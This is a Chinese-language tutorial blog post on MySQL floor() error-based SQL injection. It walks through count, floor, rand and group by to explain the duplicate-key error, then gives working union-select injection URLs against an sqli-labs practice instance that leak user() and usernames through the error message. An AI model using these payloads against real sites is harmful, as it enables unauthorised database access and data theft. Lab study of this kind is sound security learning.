目錄
先各自說(shuō)明這幾個(gè)
先說(shuō)count 統(tǒng)計(jì)個(gè)數(shù)
再說(shuō)floor 向下取整?
rand(),就是一個(gè)0到1隨機(jī)數(shù)
偽隨機(jī)數(shù)
group by 就是用列來(lái)進(jìn)行分組
遇到一個(gè)問題
開始
產(chǎn)生1和0兩個(gè)隨機(jī)數(shù)
綜合使用
其實(shí)就是下面這樣
報(bào)錯(cuò)分析
四、總結(jié)
個(gè)人理解:
實(shí)戰(zhàn):
?代碼
代碼
?效果圖
其實(shí)floor報(bào)錯(cuò)不是單純的使用floor他需要配合group by ,rand,count來(lái)完成的
先各自說(shuō)明這幾個(gè)
先說(shuō)count 統(tǒng)計(jì)個(gè)數(shù)
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 8 |
+----------+
1 row in set (0.00 sec)
mysql>
再說(shuō)floor 向下取整?
在擴(kuò)展一下向上取整為ceil()
mysql> select floor(1.9);
+------------+
| floor(1.9) |
+------------+
| 1 |
+------------+
1 row in set (0.00 sec)
mysql>
rand(),就是一個(gè)0到1隨機(jī)數(shù)
mysql> select rand();
+-------------------+
| rand() |
+-------------------+
| 0.541523484086174 |
+-------------------+
1 row in set (0.00 sec)
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.6968036170087788 |
+--------------------+
1 row in set (0.00 sec)
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.8594476635190171 |
+--------------------+
1 row in set (0.00 sec)
mysql>
偽隨機(jī)數(shù)
但是當(dāng)他給里面一個(gè)種子以后他就變成了偽隨機(jī)數(shù)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
mysql> select rand(0);
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
+---------------------+
1 row in set (0.00 sec)
group by 就是用列來(lái)進(jìn)行分組
遇到一個(gè)問題
ERROR 1055 (42000): Expression #1 of SELECT list is not in GROUP BY clause and contains nonaggregated column 'security.users.id' which
is not functionally dependent on columns in GROUP BY clause; this is incompatible with sql_mode=only_full_group_by
解決請(qǐng)移步https://mp.csdn.net/mp_blog/creation/editor/129956548
mysql> select * from users group by id;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
+----+----------+------------+
8 rows in set (0.00 sec)
mysql> select * from users group by username;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
8 rows in set (0.00 sec)
mysql> select * from users group by 2;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 8 | admin | admin |
| 2 | Angelina | I-kill-you |
| 7 | batman | mob!le |
| 1 | Dumb | Dumb |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
+----+----------+------------+
8 rows in set (0.00 sec)
mysql>
開始
那么咱們先用rand(0)查一下
mysql> select rand(0) from users;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
| 0.6387474552157777 |
| 0.33109208227236947 |
| 0.7392180764481594 |
| 0.7028141661573334 |
| 0.2964166321758336 |
| 0.3736406931408129 |
+---------------------+
8 rows in set (0.00 sec)
mysql>
產(chǎn)生1和0兩個(gè)隨機(jī)數(shù)
mysql> select rand(0)*2 from users;
+--------------------+
| rand(0)*2 |
+--------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
| 1.2774949104315554 |
| 0.6621841645447389 |
| 1.4784361528963188 |
| 1.4056283323146668 |
| 0.5928332643516672 |
| 0.7472813862816258 |
+--------------------+
8 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
+------------------+
8 rows in set (0.00 sec)
mysql>
其實(shí)我也不知道我在干嘛
綜合使用
mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql> select count(*),floor(rand(0) * 2) x from users group by x;
ERROR 1062 (23000): Duplicate entry '1' for key '<group_key>'
mysql>
然后他就說(shuō)1這個(gè)主鍵重復(fù)啦
其實(shí)就是下面這樣
沒進(jìn)行統(tǒng)計(jì)
mysql> select floor(rand(0)*2) from users;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
+------------------+
8 rows in set (0.00 sec)
mysql> select floor(rand(0)*2) as x from users group by x;
+---+
| x |
+---+
| 0 |
| 1 |
+---+
2 rows in set (0.00 sec)
mysql>
當(dāng)進(jìn)行統(tǒng)計(jì)的時(shí)候
他就會(huì)報(bào)主鍵1重復(fù)
這是為什么呢???
這邊我把我們周老師的文檔粘過(guò)來(lái)讓大家看
報(bào)錯(cuò)分析
這個(gè)整合然后計(jì)數(shù)的過(guò)程中,中間發(fā)生了什么我們是必須要明白的。 首先mysql遇到該語(yǔ)句時(shí)會(huì)建立一個(gè)虛擬表。該虛擬表有兩個(gè)字段,一個(gè)是分組的 key ,一個(gè)是計(jì)數(shù)值 count()。也就對(duì)應(yīng)于實(shí)驗(yàn)中的 user_name 和 count()。 然后在查詢數(shù)據(jù)的時(shí)候,首先查看該虛擬表中是否存在該分組,如果存在那么計(jì)數(shù)值加1,不存在則新建該分組。
然后mysql官方有給過(guò)提示,就是查詢的時(shí)候如果使用rand()的話,該值會(huì)被計(jì)算多次,那這個(gè)"被計(jì)算多次"到底是什么意思,就是在使用group by的時(shí)候,floor(rand(0)2)會(huì)被執(zhí)行一次,如果虛表不存在記錄,插入虛表的時(shí)候會(huì)再被執(zhí)行一次,我們來(lái)看下floor(rand(0)2)報(bào)錯(cuò)的過(guò)程就知道了,從上面的函數(shù)使用中可以看到在一次多記錄的查詢過(guò)程中floor(rand(0)2)的值是定性的,為011011 (這個(gè)順序很重要),報(bào)錯(cuò)實(shí)際上就是floor(rand(0)2)被計(jì)算多次導(dǎo)致的,我們還原一下具體的查詢過(guò)程:
(1)查詢前默認(rèn)會(huì)建立空虛擬表如下圖:
(2)取第一條記錄,執(zhí)行floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第一次計(jì)算),
(3)查詢虛擬表,發(fā)現(xiàn)0的鍵值不存在,則插入新的鍵值的時(shí)候floor(rand(0)*2)會(huì)被再計(jì)算一次,結(jié)果為1(第二次計(jì)算),插入虛表,這時(shí)第一條記錄查詢完畢,如下圖:
0 1 1 0 1 1 0
0 1 1
(4)查詢第二條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為1(第三次計(jì)算)
(5)查詢虛表,發(fā)現(xiàn)1的鍵值存在,所以floor(rand(0)2)不會(huì)被計(jì)算第二次,直接count()加1,第二條記錄查詢完畢,結(jié)果如下:
(6)查詢第三條記錄,再次計(jì)算floor(rand(0)*2),發(fā)現(xiàn)結(jié)果為0(第4次計(jì)算)
0 1 1 0
(7)查詢虛表,發(fā)現(xiàn)鍵值沒有0,則數(shù)據(jù)庫(kù)嘗試插入一條新的數(shù)據(jù),在插入數(shù)據(jù)時(shí)floor(rand(0)*2)被再次計(jì)算,作為虛表的主鍵,其值為1(第5次計(jì)算),
然而1這個(gè)主鍵已經(jīng)存在于虛擬表中,而新計(jì)算的值也為1(主鍵鍵值必須唯一),所以插入的時(shí)候就直接報(bào)錯(cuò)了。
0 1 1 0 1
四、總結(jié)
整個(gè)查詢過(guò)程floor(rand(0)*2)被計(jì)算了5次,查詢?cè)瓟?shù)據(jù)表3次,所以這就是為什么數(shù)據(jù)表中需要最少3條數(shù)據(jù),使用該語(yǔ)句才會(huì)報(bào)錯(cuò)的原因。
另外,要注意加入隨機(jī)數(shù)種子的問題,如果沒加入隨機(jī)數(shù)種子或者加入其他的數(shù),那么floor(rand()2)產(chǎn)生的序列是不可測(cè)的,這樣可能會(huì)出現(xiàn)正常插入的情況。最重要的是前面幾條記錄查詢后不能讓虛表存在0,1鍵值,如果存在了,那無(wú)論多少條記錄,也都沒辦法報(bào)錯(cuò),因?yàn)閒loor(rand()2)不會(huì)再被計(jì)算做為虛表的鍵值,這也就是為什么不加隨機(jī)因子有時(shí)候會(huì)報(bào)錯(cuò),有時(shí)候不會(huì)報(bào)錯(cuò)的原因。
比如下面用1作為隨機(jī)數(shù)種子,就不會(huì)產(chǎn)生報(bào)錯(cuò):
個(gè)人理解:
我感覺就是第一次計(jì)算?floor(rand(0)*2)為0,然后查表發(fā)現(xiàn)沒0這個(gè)key,然后在計(jì)算一次進(jìn)行插入
然后第三次計(jì)算floor(rand(0)*2)為1,然后發(fā)現(xiàn)有這個(gè)key,不進(jìn)行插入,然后count 進(jìn)行加1。
然后第四次計(jì)算floor(rand(0)*2)為0,然后查表發(fā)現(xiàn)沒0這個(gè)key,然后在進(jìn)行計(jì)算一次為1啦,打算插入,但是key已經(jīng)有1啦,所以就會(huì)產(chǎn)生1這個(gè)主鍵重復(fù)報(bào)錯(cuò)。
注意:最少需要三條數(shù)據(jù)才能報(bào)錯(cuò),你讀完上面你肯定會(huì)懂得
實(shí)戰(zhàn):
?代碼
http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat(user(),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+
這里的concat是用來(lái)把floor(rand(0)*2)和local@host連接起來(lái),要不然只會(huì)顯示1主鍵重復(fù)
然后才會(huì)爆出local@host1主鍵重復(fù)
?a是別名,下面解釋啦
最后那個(gè)a是別名,如果你沒有就會(huì)出現(xiàn)下圖
?然后再一點(diǎn)一點(diǎn)查文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-401386.html
代碼
http://172.51.47.163/sqlilabs/Less-1/?id=-1%27%20union%20select%201,2,3%20from%20(select%20count(*),concat((select%20username%20from%20users%20limit%201,1),floor(rand(0)*2))x%20from%20information_schema.tables%20group%20by%20x)a%20--+
?效果圖
文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-401386.html
到了這里,關(guān)于Mysql報(bào)錯(cuò)注入之floor報(bào)錯(cuò)詳解的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!